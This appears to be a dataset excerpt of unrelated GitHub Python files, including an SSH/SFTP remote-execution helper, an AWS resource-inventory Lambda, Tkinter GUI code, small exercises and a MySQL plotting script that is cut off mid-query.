\"vgg16_block2_matrix\"\nVGG_BLOCK3_MATRIX_FILE = \"vgg16_block3_matrix\"\nVGG_BLOCK4_MATRIX_FILE = \"vgg16_block4_matrix\"\n\n# Standard name used for the column when writing the neighbours in npz files\n# WARNING: When changing this constant, make sure to change the column name in np.savez statements!\nKNN = \"knn\"\n\n# Files used for k-NN storage according to a single feature\nCOLOR_NEIGH_FILE = \"color_neighbours\"\nGRADS_NEIGH_FILE = \"grads_neighbours\"\nVGG_BLOCK2_NEIGH_FILE = \"vgg16_block2_neighbours\"\nVGG_BLOCK3_NEIGH_FILE = \"vgg16_block3_neighbours\"\nVGG_BLOCK4_NEIGH_FILE = \"vgg16_block4_neighbours\"\n\n# Standard name used for the column when writing the final distances in the npz file\n# WARNING: When changing this constant, make sure to change the column name in np.savez statement!\nDIST = \"dist\"\n\n# File used for final distance storage\nFINAL_DISTANCES_FILE = \"final_dist_matrix\"\n\n# Standard name used for the column when writing the image names in the npz file\n# WARNING: When changing this constant, make sure to change the column name in np.savez statement!\nIMG_NAMES = \"names\"\n\n# Size of the sample set used to obtain the normalization values\nSAMPLE_SET_SIZE = 10\n\n# Number of neighbours to extract for each feature\nN_NEIGHBOURS = 10\n\n# Number of edges to add for each node in the graph\nEDGES = 3\n\n# VGG16 Available layers\nVGG16_BLOCK2_POOL_LAYER = \"block2_pool\"\nVGG16_BLOCK3_POOL_LAYER = \"block3_pool\"\nVGG16_BLOCK4_POOL_LAYER = \"block4_pool\"\n\n# Dictionary used to relate VGG16 layers to their respective feature files\nVGG_MATRIX_FILES = {\n VGG16_BLOCK2_POOL_LAYER: VGG_BLOCK2_MATRIX_FILE,\n VGG16_BLOCK3_POOL_LAYER: VGG_BLOCK3_MATRIX_FILE,\n VGG16_BLOCK4_POOL_LAYER: VGG_BLOCK4_MATRIX_FILE,\n}\n\n# Dictionary used to relate VGG16 layers to their respective neighbour files\nVGG_NEIGH_FILES = {\n VGG16_BLOCK2_POOL_LAYER: VGG_BLOCK2_NEIGH_FILE,\n VGG16_BLOCK3_POOL_LAYER: VGG_BLOCK3_NEIGH_FILE,\n VGG16_BLOCK4_POOL_LAYER: VGG_BLOCK4_NEIGH_FILE,\n}\n","repo_name":"Sunnout/Small-World-Network-for-the-Fashion-Domain","sub_path":"Code/Constants.py","file_name":"Constants.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40425091995","text":"fname = input('Enter the file name: ')\ntry:\n fhand = open(fname)\nexcept:\n print('File cannot be opened:', fname)\n exit()\n\nhours = dict()\n\nfor line in fhand:\n words = line.split()\n for word in words:\n if words[0] == 'From' and ':' in word:\n hours[word.split(':')[0]] = hours.get(word.split(':')[0], 0) + 1\n#print(hours)\n\nl = list()\n\nfor k, v in hours.items():\n l.append( (k, v) )\n\nl.sort()\nfor item in l:\n print(item)\n","repo_name":"CristianColdea/P4E","sub_path":"chapter10/ex102.py","file_name":"ex102.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39196781593","text":"'''\nGiven an unsorted array nums, reorder it in-place such that\n\nnums[0] <= nums[1] >= nums[2] <= nums[3]....\n Notice\n\nPlease complete the problem in-place.\n\nExample\nGiven nums = [3, 5, 2, 1, 6, 4], one possible answer is [1, 6, 2, 5, 3, 4].\n'''\nclass Solution:\n \"\"\"\n @param: nums: A list of integers\n @return: nothing\n \"\"\"\n def wiggleSort(self, nums):\n if nums is None or len(nums) == 0:\n return\n\n for i in range(1, len(nums)):\n if (i % 2 == 1 and nums[i] < nums[i - 1]) or (i % 2 == 0 and nums[i] > nums[i - 1]):\n nums[i], nums[i - 1] = nums[i - 1], nums[i]\n\n \n","repo_name":"johnnyhsu1106/lintcode-solution-in-python","sub_path":"508_wigggle_sort.py","file_name":"508_wigggle_sort.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"7846604136","text":"\"\"\"Utils for SSH infra.\"\"\"\n\nimport errno\nimport os\nimport subprocess\nimport sys\nimport time\n\nimport paramiko\nimport socks\n\nfrom infractl.logging import get_logger\nfrom infractl.plugins.ssh import make_proxy_socket\n\nlogger = get_logger()\n\n\nclass ZymeClient:\n \"\"\"Paramiko wrapper, inspired by enzyme.\"\"\"\n\n def __init__(self, hostname, username, password, use_proxy=False, add2known_hosts=True):\n \"\"\"\n Create SSH client.\n\n Parameters\n ----------\n hostname: str\n username: str\n using for authentication\n pkey_file: str\n private key in OpenSSH format\n use_proxy: bool, default True\n creates socksocket with SOCKS5 protocol to use by paramiko connect\n add2known_hosts: bool, default True\n automatically adding the hostname and new host key to the local\n known_hosts file\n\n \"\"\"\n self.hostname = hostname\n self.username = username\n self.password = password\n self.use_proxy = use_proxy\n self.add2known_hosts = add2known_hosts\n self.connected = False\n\n def __enter__(self):\n \"\"\"\n Connect to host.\n\n Returns\n -------\n client: ZymeClient\n\n \"\"\"\n logger.info('Connecting to: %s', self.hostname)\n\n if self.use_proxy:\n self.sock = make_proxy_socket.proxy_socket()\n\n try:\n self.sock.connect((self.hostname.encode('utf-8'), 22))\n except socks.SOCKS5Error as err:\n raise ConnectionError(f'{err}; check hostname') from err\n\n else:\n self.sock = None\n\n self.client = paramiko.SSHClient()\n if self.add2known_hosts:\n self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n try:\n self.client.connect(\n hostname=self.hostname,\n username=self.username,\n password=self.password,\n port=22,\n sock=self.sock,\n )\n except IOError as exc:\n raise ConnectionError(exc) from exc\n except paramiko.ssh_exception.SSHException as exc:\n raise ConnectionError(\n 'server refused key; check credentials '\n + f'(username, private key) - ({self.username}, {self.password})'\n ) from exc\n\n self.connected = True\n logger.info('Connected')\n\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.client.close()\n if self.use_proxy:\n self.sock.close()\n\n self.connected = False\n\n def verify_connected(self):\n if not self.connected:\n raise ValueError('ZymeClient is not connected')\n\n @property\n def home(self) -> str:\n self.verify_connected()\n\n _, stdout, _ = self.client.exec_command('echo $HOME')\n return stdout.read().rstrip(b'\\n').decode('utf-8')\n\n def exec_command(\n self,\n command,\n get_output=True,\n stdout_log_file='stdout_log.txt',\n stderr_log_file='stderr_log.txt',\n chunksize=1024,\n ):\n \"\"\"\n Execute the command on remote host by using connected SSH client.\n\n Parameters\n ----------\n command: str\n get_output: bool, default True\n display information from stdout and stderr streams on remote host\n localy\n stdout_log_file: str, default 'stdout_log.txt'\n stderr_log_file: str, default 'stderr_log.txt'\n chunksize: int, default 1024\n\n Returns\n -------\n retcode: int\n result of the executed command\n\n \"\"\"\n self.verify_connected()\n _, stdout, stderr = self.client.exec_command(command, bufsize=1)\n\n stdout.channel.setblocking(0)\n stderr.channel.setblocking(0)\n\n while True:\n\n while stdout.channel.recv_ready():\n outdata = stdout.channel.recv(chunksize)\n if get_output:\n sys.stdout.write(outdata)\n if stdout_log_file:\n with open(stdout_log_file, 'a', encoding='utf-8') as out:\n out.write(outdata)\n\n while stderr.channel.recv_stderr_ready():\n errdata = stderr.channel.recv_stderr(chunksize)\n if get_output:\n sys.stderr.write(errdata)\n if stderr_log_file:\n with open(stderr_log_file, 'a', encoding='utf-8') as out:\n out.write(errdata)\n\n if (\n stdout.channel.exit_status_ready() and stderr.channel.exit_status_ready()\n ): # If completed\n break\n time.sleep(0.5)\n\n return stdout.channel.recv_exit_status()\n\n def _get_sftp_client(self):\n self.verify_connected()\n transport = self.client.get_transport()\n sftp_client = paramiko.SFTPClient.from_transport(transport)\n return sftp_client\n\n def _make_dir(self, remotepath):\n self.verify_connected()\n dir_path, _ = os.path.split(remotepath)\n _, stdout, stderr = self.client.exec_command(f'mkdir -p \"{dir_path}\"')\n res = stdout.read().rstrip('\\n') + stderr.read().rstrip('\\n')\n\n if res:\n raise OSError(\n -1,\n f\"Can't create file on remote host ({remotepath}); result - {res}\",\n remotepath,\n )\n\n def put_file(self, localpath, remotepath, overwrite=False, chunksize=1024**2):\n \"\"\"\n Copy a local file (localpath) to the SFTP server as remotepath by using\n connected SSH client.\n\n Parameters\n ----------\n local_path: str\n remotepath: str\n chunksize: int, default 1024\n\n Returns\n -------\n file_attr: paramiko.sftp_attr.SFTPAttributes\n\n \"\"\"\n\n def file_content_generator():\n with open(localpath, mode='rb') as f:\n while True:\n data = f.read(chunksize)\n if not data:\n break\n yield data\n\n return self._put_string(file_content_generator, remotepath, overwrite, 'w')\n\n def put_string(self, file_content, remotepath, overwrite=False, mode='w'):\n \"\"\"\n Copy a file_content string to the SFTP server as remotepath by using\n connected SSH client.\n\n Parameters\n ----------\n file_content: str\n remotepath: str\n mode: str, default 'w'\n mode for open function\n\n Returns\n -------\n file_attr: paramiko.sftp_attr.SFTPAttributes\n\n \"\"\"\n\n def string_generator():\n yield file_content\n\n return self._put_string(string_generator, remotepath, overwrite, mode)\n\n def _put_string(self, data_generator, remotepath, overwrite, mode):\n with self._get_sftp_client() as sftp_client:\n exist_remotepath = True\n try:\n sftp_client.stat(remotepath)\n except IOError:\n # remotepath not exist\n exist_remotepath = False\n\n if not exist_remotepath or overwrite:\n try:\n with sftp_client.file(remotepath, mode=mode) as f:\n for data in data_generator():\n f.write(data)\n except IOError:\n self._make_dir(remotepath)\n self._put_string(data_generator, remotepath, overwrite, mode)\n else:\n raise OSError(errno.EEXIST, f'{remotepath} already exists', remotepath)\n\n return sftp_client.stat(remotepath)\n\n def expand_home_path(self, remotepath):\n if remotepath.startswith('~'):\n remotepath = remotepath.replace('~', self.home)\n return remotepath\n\n def ensure_remotepath(self, remotepath):\n if remotepath is None:\n remotepath = '~/run_script.sh'\n\n return self.expand_home_path(remotepath)\n\n\ndef check_script(file_path):\n \"\"\"\n File having string shebang is treated as a script, otherwise\n it is treated as binary.\n\n Parameters\n ----------\n file_path: str\n\n Returns\n -------\n : bool\n True if script\n\n \"\"\"\n with open(file_path, encoding='utf-8') as f:\n return f.readline().startswith('#!')\n\n\ndef convert_newline_symbol(local_file):\n \"\"\"\n Converts DOS/Windows newline (CRLF) to UNIX newline (LF)\n in local_file content.\n\n Parameters\n ----------\n local_file: str\n\n Returns\n -------\n unix_like_string: str\n\n \"\"\"\n with open(local_file, 'rU', encoding='utf-8') as f:\n return f.read()\n\n\ndef identify_script_position(args):\n skip_next_arg = False\n mpi_script_pos = -1\n\n for idx, arg in enumerate(args):\n if not skip_next_arg:\n if arg.startswith('-') or arg.startswith('+'):\n skip_next_arg = True\n continue\n mpi_script_pos = idx\n break\n skip_next_arg = False\n\n if mpi_script_pos == -1:\n raise ValueError(\"script not found in run command's arguments\")\n\n return mpi_script_pos\n\n\ndef prepare_run_args(run_args: list, remotepath):\n run_args = list(run_args)\n script_pos = identify_script_position(run_args)\n script = run_args[script_pos]\n run_args[script_pos] = remotepath\n\n return (script, subprocess.list2cmdline(run_args))\n\n\ndef zyme_run_command(\n run_args,\n zyme_client,\n remotepath=None,\n newline_conversion=True,\n overwrite=False,\n no_remove=False,\n):\n \"\"\"\n Run script on remote host.\n\n Parameters\n ----------\n script_args: list\n first element of list is script path;\n other - args that will be passed into script\n zyme_client: ZymeClient\n remotepath: str, default None\n the place to which the file will be copied\n newline_conversion: bool, default True\n convert DOS/Windows newline (CRLF) to UNIX newline (LF) in script\n overwrite: bool, default False\n no_remove: bool, default False\n\n Returns\n -------\n retcode: int\n\n \"\"\"\n try:\n with zyme_client as connected_client:\n if newline_conversion:\n unix_string = convert_newline_symbol(run_args[1])\n connected_client.put_string(unix_string, remotepath, overwrite=overwrite)\n else:\n connected_client.put_file(run_args[1], remotepath, overwrite=overwrite)\n\n # TODO: either the conda must be available through PATH env var\n # or the option must be available through settings\n conda_path = os.environ['ICL_REMOTE_CONDA_PATH']\n command = f'{conda_path} run -n base python {remotepath}'\n _, stdout, stderr = connected_client.client.exec_command(command)\n logger.info('output from command: \"%s\":\\n%s', command, stdout.read().decode('utf-8'))\n # pylint: disable=pointless-string-statement\n '''\n remotepath = connected_client.ensure_remotepath(remotepath)\n\n script_path, script_args_str = prepare_run_args(\n run_args, remotepath)\n\n try:\n if newline_conversion and check_script(script_path):\n unix_string = convert_newline_symbol(script_path)\n connected_client.put_string(unix_string,\n remotepath, overwrite)\n else:\n connected_client.put_file(script_path,\n remotepath, overwrite)\n except Exception as err:\n print('Error: %s' % err)\n # return bad_retcode\n return 1\n\n connected_client.exec_command('chmod +x \"%s\"' % (remotepath))\n print('Command execution \"%s\":\\n' % script_args_str)\n retcode = connected_client.exec_command(script_args_str)\n print('\\nExecution complete')\n '''\n\n if not no_remove:\n connected_client.exec_command(f'rm -f \"{remotepath}\"')\n\n return len(stderr.read())\n\n except ConnectionError as err:\n logger.info('Error: %s', err)\n return -1\n","repo_name":"intel-ai/icl","sub_path":"src/infractl/plugins/ssh/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12328,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"42107781234","text":"import lib_calipers as cal\nimport json\nimport boto3\nfrom datetime import datetime\n\nnl = '\\n'\n\n\ndef run(aws_account, analysis_id, region, count_blocks):\n print(f'Reporting on the following AWS Regions {region}{nl}')\n\n cb = count_blocks\n\n '''initialize dictionaries'''\n ec2_master = []\n ebs_vols_master = []\n ebs_snaps_master = []\n rds_master = []\n\n 'Regional iterative with connection to relevent service'\n 'Gathers regional data and append to global/master dictionaries'\n\n '''******** EC2 / EBS **********'''\n\n '''Create EC2/ EBS Connection Objects'''\n ec2_conn = cal.connect_service(region, 'ec2')\n ebs_conn = cal.connect_service(region, 'ebs')\n\n '''fetch data + build ec2 report dictionary'''\n for i in (cal.ec2_report(region, ec2_conn)):\n ec2_master.append(i)\n\n try:\n '''fetch data for EBS report dictionaries'''\n in_use_ebs_list, in_use_ebs_response = cal.get_ebs_vols(\n region, ec2_conn, 'in-use')\n avail_ebs_list, avail_ebs_response = cal.get_ebs_vols(\n region, ec2_conn, 'available')\n in_use_ebs_snap_reponse = cal.get_ebs_snapshots(\n region, ec2_conn, in_use_ebs_list)\n avail_ebs_snap_reponse = cal.get_ebs_snapshots(\n region, ec2_conn, avail_ebs_list)\n except Exception as e:\n print(f'failed to gather EBS data for {region}:{e}')\n pass\n\n '''feed in data to generate EBS volume report dictionaries'''\n try:\n in_use_dict = cal.ebs_vols_report(\n region, ec2_conn, ebs_conn, in_use_ebs_response,\n in_use_ebs_snap_reponse, True, cb)\n avail_dict = cal.ebs_vols_report(\n region, ec2_conn, ebs_conn, avail_ebs_response,\n avail_ebs_snap_reponse, False, cb)\n ebs_vols_master += in_use_dict\n ebs_vols_master += avail_dict\n except Exception as e:\n print(f'failed to process EBS data for {region}:{e}')\n pass\n\n '''feed in data to generate EBS Snapshot report Dictionaries'''\n try:\n all_vols = avail_ebs_list + in_use_ebs_list\n all_ebs_backed_snaps = (in_use_ebs_snap_reponse +\n avail_ebs_snap_reponse)\n orphan_ebs_snaps = cal.get_orphan_ebs_snaps(ec2_conn, all_vols)\n ebs_snaps_master += (cal.ebs_snap_report(\n region, ec2_conn, ebs_conn, all_ebs_backed_snaps, True, cb))\n ebs_snaps_master += cal.ebs_snap_report(\n region, ec2_conn, ebs_conn, orphan_ebs_snaps, False, cb)\n except Exception as e:\n print(f'failed to process EBS snapshot data for {region}:{e}')\n pass\n\n '''RDS'''\n try:\n rds_conn = cal.connect_service(region, 'rds')\n dbi_response = cal.get_rds(region, rds_conn, 'instance')\n dbc_response = cal.get_rds(region, rds_conn, 'cluster')\n rds_master += (cal.rds_inst_report(\n region, rds_conn, dbi_response))\n rds_master += (cal.rds_clust_report(\n region, rds_conn, dbc_response))\n except Exception as e:\n print(f'failed to gather RDS data for {region}:{e}')\n\n 'create timestamp'\n now = datetime.utcnow()\n timestamp = now.strftime(\"%Y-%m-%d %H:%M\")\n\n 'Inject customer account info into records'\n all_dicts = [ec2_master, ebs_vols_master, ebs_snaps_master, rds_master]\n\n for items in all_dicts:\n for _ in range(len(items)):\n items[_]['AWS Account'] = aws_account\n items[_]['Analysis_ID'] = analysis_id\n items[_]['Record Date'] = timestamp\n items[_]['Region'] = region\n\n return all_dicts\n\n\ndef convertJSON_S3(target_bucket, target_file_name, input_dict):\n if len(input_dict) > 0:\n body = json.dumps(input_dict)\n s3 = boto3.client('s3')\n print(\"Check s3 put\", s3.put_object(Bucket=target_bucket,\n Key=target_file_name,\n Body=body))\n\n\ndef handler(event, context):\n 'set timestamp'\n now = datetime.utcnow()\n timestamp = now.strftime(\"%Y-%m-%d_%H:%M\")\n\n 'import/set variables'\n region = event['region']\n customer_name = event['customer']\n bucket = event['s3']\n count_blocks = event['count_blocks']\n analysis_id = f'{customer_name}-{timestamp}'\n\n 'configure session information'\n session = boto3.Session(aws_access_key_id=event['access_key'],\n aws_secret_access_key=event['secret_key'],\n aws_session_token=event['session_token'])\n\n 'fetch AWS Account number'\n crossClient = session.client('sts')\n aws_account = crossClient.get_caller_identity().get('Account')\n\n 'collect account data'\n ec2, ebs, ebs_snaps, rds = run(\n aws_account, analysis_id, region, count_blocks)\n\n 'convert and send to local s3'\n convertJSON_S3(bucket, f'{analysis_id}-{aws_account}-ec2.json', ec2)\n convertJSON_S3(bucket, f'{analysis_id}-{aws_account}-ebs.json', ebs)\n convertJSON_S3(\n bucket, f'{analysis_id}-{aws_account}-ebs_snaps.json', ebs_snaps)\n convertJSON_S3(bucket, f'{analysis_id}-{aws_account}-rds.json', rds)\n\n return {\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"message\": \"hello world\",\n }),\n }\n","repo_name":"charliegautreaux/EC2-EBS-RDS-Inventory-Tool","sub_path":"calipers_lambda.py","file_name":"calipers_lambda.py","file_ext":"py","file_size_in_byte":5262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32286927321","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# \"THE WISKEY-WARE LICENSE\":\n# wrote this file. As long as you retain this notice\n# you can do whatever you want with this stuff. If we meet some day, and you\n# think this stuff is worth it, you can buy us a WISKEY us return.\n\n\n#==============================================================================\n# DOCS\n#==============================================================================\n\n\"\"\"This file is for distribute yatel with distutils\n\n\"\"\"\n\n#==============================================================================\n# IMPORTS\n#==============================================================================\n\nimport os\n\n#==============================================================================\n# CONSTANTS\n#==============================================================================\n\nPATH = os.path.abspath(os.path.dirname(__file__))\n\nREQUIREMENTS_PATH = os.path.join(PATH, \"requirements.txt\")\n\nwith open(REQUIREMENTS_PATH) as fp:\n REQUIREMENTS = [line.strip() for line in fp.readlines() if line.strip()]\n\n\n#==============================================================================\n# MAIN\n#==============================================================================\n\nif __name__ == \"__main__\":\n import sys\n\n from ez_setup import use_setuptools\n use_setuptools()\n\n from setuptools import setup, find_packages\n\n setup(\n name=\"carpyncho\",\n version=\"dev\",\n description=\"Integration tool for load and analize data from vvv\",\n author=\"Cabral, Juan\",\n author_email=\"jbc.develop@gmail.com\",\n url=\"http://carpyncho.vvv-tools.com.ar/\",\n license=\"WISKEY-WARE\",\n keywords=\"astronomy vvv\",\n #~ classifiers=yatel.CLASSIFIERS,\n packages=[pkg for pkg in find_packages() if pkg.startswith(\"carpyncho\")],\n include_package_data=True,\n py_modules=[\"ez_setup\", \"manage\"],\n entry_points={'console_scripts': ['pyncho = manage:run_manager']},\n install_requires=REQUIREMENTS,\n )\n","repo_name":"carpyncho/yeolde_carpyncho","sub_path":"carpyncho1/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1680852610","text":"# Python Script to convert date in .csv to date format of MS Excel \n\ndata = \"\"\n\nwith open(\"ToConvert.csv\", \"r\") as file:\n data = file.read()\n print(data)\n file.close()\n \nwith open(\"ConvertedToDate.txt\", \"w\") as file2:\n file2.write(data.replace(\",\",\"-\"))\n file2.close()","repo_name":"srinivasanrahul45/Hemoglobin_Predictor","sub_path":"Automation Scripts/csv_to_date.py","file_name":"csv_to_date.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29499565537","text":"# Workspace.py\r\n# Francois Plamondon\r\n# Summer 2003\r\n\r\n\r\nimport Tkinter\r\n\r\nclass Workspace:\r\n def __init__(self, editor, width, height, canvasWidth, canvasHeight, \r\n eventHandler, zoom):\r\n masterFrame = editor.root\r\n self.editor = editor\r\n \r\n #frame containing the canvas and the scrollbars\r\n self.frame = Tkinter.Frame(masterFrame)\r\n #width of the total workspace\r\n self.width = width\r\n #height of the total workspace\r\n self.height = height\r\n #current width of the canvas\r\n self.canvasWidth = canvasWidth\r\n #current height of the canvas\r\n self.canvasHeight = canvasHeight\r\n #event handler to send events to. This is a reference to the main event handler.\r\n self.eventHandler = eventHandler\r\n #initial zoom\r\n self.zoom = float(zoom)\r\n #horizontal scrollbar\r\n self.xScrollbar = Tkinter.Scrollbar(self.frame, orient=Tkinter.HORIZONTAL)\r\n self.xScrollbar.pack(side=Tkinter.BOTTOM, fill=Tkinter.X)\r\n #vertical scrollbar\r\n self.yScrollbar = Tkinter.Scrollbar(self.frame, orient=Tkinter.VERTICAL)\r\n self.yScrollbar.pack(side=Tkinter.RIGHT, fill=Tkinter.Y)\r\n #canvas\r\n self.bd = 2 # borderwidth\r\n self.canvas = Tkinter.Canvas(self.frame, height=self.canvasHeight, \r\n width=self.canvasWidth, bg=\"white\", \r\n borderwidth=self.bd, relief=Tkinter.SUNKEN, \r\n yscrollcommand=self.setYScrollbar, \r\n xscrollcommand=self.setXScrollbar, \r\n scrollregion=( editor.CANVAS_SIZE_TUPLE[0]*self.zoom,\r\n editor.CANVAS_SIZE_TUPLE[1]*self.zoom, \r\n width*self.zoom, \r\n height*self.zoom))\r\n #bind canvas events\r\n self.canvas.bind(\"\", self.onButton)\r\n self.canvas.bind(\"\", self.onButton)\r\n self.canvas.bind(\"\", self.onButton)\r\n self.canvas.bind(\"\", self.onDoubleButton)\r\n self.canvas.bind(\"\", self.onDoubleButton)\r\n self.canvas.bind(\"\", self.onDoubleButton)\r\n self.canvas.bind(\"\", self.onMotion)\r\n self.canvas.bind(\"\", self.onShiftMotion)\r\n self.canvas.bind(\"\", self.onButtonMotion)\r\n self.canvas.bind(\"\", self.onButtonMotion)\r\n self.canvas.bind(\"\", self.onButtonMotion)\r\n self.canvas.bind(\"\", self.onShiftButtonMotion)\r\n self.canvas.bind(\"\", self.onShiftButtonMotion)\r\n self.canvas.bind(\"\", self.onShiftButtonMotion)\r\n self.canvas.bind(\"\", self.onButtonRelease)\r\n self.canvas.bind(\"\", self.onButtonRelease)\r\n self.canvas.bind(\"\", self.onButtonRelease)\r\n #make the canvas resizable\r\n self.canvas.pack(side=Tkinter.RIGHT, fill=Tkinter.BOTH, expand=1)\r\n self.canvas.focus_set() # focus on canvas\r\n self.yScrollbar.config(command=self.canvas.yview)\r\n self.xScrollbar.config(command=self.canvas.xview)\r\n self.x0 = 0\r\n self.y0 = 0\r\n #make the workspace resizable\r\n self.frame.pack(side=Tkinter.RIGHT, fill=Tkinter.BOTH, expand=1)\r\n\r\n # set the scrollbar and update y0 at the same time so that it doesn't need to\r\n # be updated each time an event occurs.\r\n def setXScrollbar(self, *args):\r\n apply(self.xScrollbar.set, args)\r\n low, hi = self.xScrollbar.get()\r\n #Because of the borderwidth, need to adjust the position to reflect the\r\n # real position of the cursor for both x0 and y0.\r\n self.x0 = low * self.width * self.zoom - self.bd - 1\r\n self.canvasWidth = (hi - low) * self.width * self.zoom\r\n\r\n # set the scrollbar and update y0\r\n def setYScrollbar(self, *args):\r\n apply(self.yScrollbar.set, args)\r\n low, hi = self.yScrollbar.get()\r\n self.y0 = low * self.height * self.zoom - self.bd - 1\r\n self.canvasHeight = (hi - low) * self.height * self.zoom\r\n\r\n def getCanvas(self):\r\n return self.canvas\r\n\r\n def getCanvasWidth(self):\r\n return self.canvasWidth\r\n\r\n def getCanvasHeight(self):\r\n return self.canvasHeight\r\n\r\n def getZoom(self):\r\n return self.zoom\r\n\r\n def setZoom(self, zoom, x, y):\r\n offsetX = x/(self.width * self.zoom) #offsetX = relative position of cursor on workspace\r\n offsetY = y/(self.height * self.zoom)\r\n self.zoom = float(zoom)\r\n # change zoom, i.e. the size of the workspace\r\n self.canvas.config(scrollregion=(self.editor.CANVAS_SIZE_TUPLE[0]*self.zoom, \r\n self.editor.CANVAS_SIZE_TUPLE[1]*self.zoom, \r\n self.width * self.zoom, self.height * self.zoom))\r\n # calculate the percentage of the workspace occupied by half of the canvas\r\n halfCanvasX = (self.canvasWidth/(self.width * self.zoom))/2\r\n halfCanvasY = (self.canvasHeight/(self.height * self.zoom))/2\r\n #the offset for the upper left corner is the offset of the center minus halfCanvas\r\n offsetX = offsetX - halfCanvasX\r\n offsetY = offsetY - halfCanvasY\r\n self.canvas.xview(Tkinter.MOVETO, offsetX)\r\n self.canvas.yview(Tkinter.MOVETO, offsetY)\r\n\r\n\r\n def onButton(self, event):\r\n event.x += self.x0\r\n event.y += self.y0\r\n self.eventHandler.onCanvasButton(event)\r\n\r\n\r\n def onDoubleButton(self, event):\r\n event.x += self.x0\r\n event.y += self.y0\r\n self.eventHandler.onCanvasDoubleButton(event)\r\n\r\n\r\n def onMotion(self, event):\r\n event.x += self.x0\r\n event.y += self.y0\r\n self.eventHandler.onCanvasMotion(event)\r\n\r\n\r\n def onShiftMotion(self, event):\r\n event.x += self.x0\r\n event.y += self.y0\r\n self.eventHandler.onCanvasShiftMotion(event)\r\n\r\n\r\n def onButtonMotion(self, event):\r\n event.x += self.x0\r\n event.y += self.y0\r\n self.eventHandler.onCanvasButtonMotion(event)\r\n\r\n\r\n def onShiftButtonMotion(self, event):\r\n event.x += self.x0\r\n event.y += self.y0\r\n self.eventHandler.onCanvasShiftButtonMotion(event)\r\n\r\n\r\n def onButtonRelease(self, event):\r\n event.x += self.x0\r\n event.y += self.y0\r\n self.eventHandler.onCanvasButtonRelease(event)\r\n ","repo_name":"AILab-FOI/LSMASOMM","sub_path":"atom3/Kernel/GraphicEditor/Workspace.py","file_name":"Workspace.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"6582785726","text":"\nclass Dashboard(object):\n \"\"\"Librato Dashboard Base class\"\"\"\n\n def __init__(self, connection, name, id=None, instrument_dicts=None):\n self.connection = connection\n self.name = name\n self.instrument_ids = []\n self._instruments = None\n for i in (instrument_dicts or []):\n self.instrument_ids.append(i['id'])\n self.id = id\n\n @classmethod\n def from_dict(cls, connection, data):\n \"\"\"\n Returns a Dashboard object from a dictionary item,\n which is usually from librato's API\n \"\"\"\n obj = cls(connection,\n data['name'],\n instrument_dicts=data['instruments'],\n id=data['id'])\n return obj\n\n def get_payload(self):\n return {'name': self.name,\n 'instruments': self.instrument_ids[:]}\n\n def get_instruments(self):\n if self._instruments is None:\n instruments = []\n for i in self.instrument_ids:\n instruments.append(self.connection.get_instrument(i))\n self._instruments = instruments\n\n return self._instruments[:]\n\n def save(self):\n self.connection.update_dashboard(self)\n","repo_name":"scrypt-kitty/pythonMisc","sub_path":"ML_coursera/graphlab/lib/python2.7/site-packages/librato/dashboards.py","file_name":"dashboards.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39680752944","text":"from tkinter import *\n\nroot = Tk()\nroot.title(\"Dropdown\")\nroot.geometry(\"400x400\")\n\nmy_var = StringVar()\nmy_var.set(\"Monday\")\nmy_label = Label(root, text=my_var.get())\n\n\ndef show_selection(var):\n my_label.configure(text=var)\n\n\nmy_options = [\"Monday\",\n \"Tuesday\",\n \"Wednesday\",\n \"Thursday\",\n \"Friday\"]\n\nmy_var.set(my_options[0])\n\ndrop = OptionMenu(root, my_var, *my_options, command=lambda text:show_selection(text))\ndrop.pack()\nmy_label.pack()\n\nroot.mainloop()\n","repo_name":"rghvdberg/Tkinter_freecodecamp","sub_path":"16 - dropdown.py","file_name":"16 - dropdown.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15811554262","text":"import csv\nimport logging\nimport re\nfrom urllib.request import urlopen\n\nimport pymysql.cursors\nimport pymysql\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\n\nconnection = pymysql.connect(host='localhost',\n user='root',\n password=' ',\n db='sys',\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n\n\ndef get_query(sql, cursor, price):\n '''\n :param sql: 집계 값을 구하기 위한 select 쿼리\n :param cursor: 커서\n :param price: 가격 기준\n :return: 집계 값\n '''\n cursor.execute(sql, price)\n for row in cursor:\n print(row['COUNT(*)'])\n return row['COUNT(*)']\n\ndiff_price_zero = 0\nreal_price_no = 0\ndiff_price_plus = 0\ndiff_price_minus = 0\n\nn_groups = 4\n\ncursor = connection.cursor()\n\nsql = 'SELECT COUNT(*) FROM product_0526 WHERE diff_product_price=%s'\ndiff_price_zero = get_query(sql, cursor, 0)\nsql = 'SELECT COUNT(*) FROM product_0526 WHERE real_product_price=%s'\nreal_price_no = get_query(sql, cursor, -1)\nsql = 'SELECT COUNT(*) FROM product_0526 WHERE diff_product_price>%s'\ndiff_price_plus = get_query(sql, cursor, 0)\nsql = 'SELECT COUNT(*) FROM product_0526 WHERE 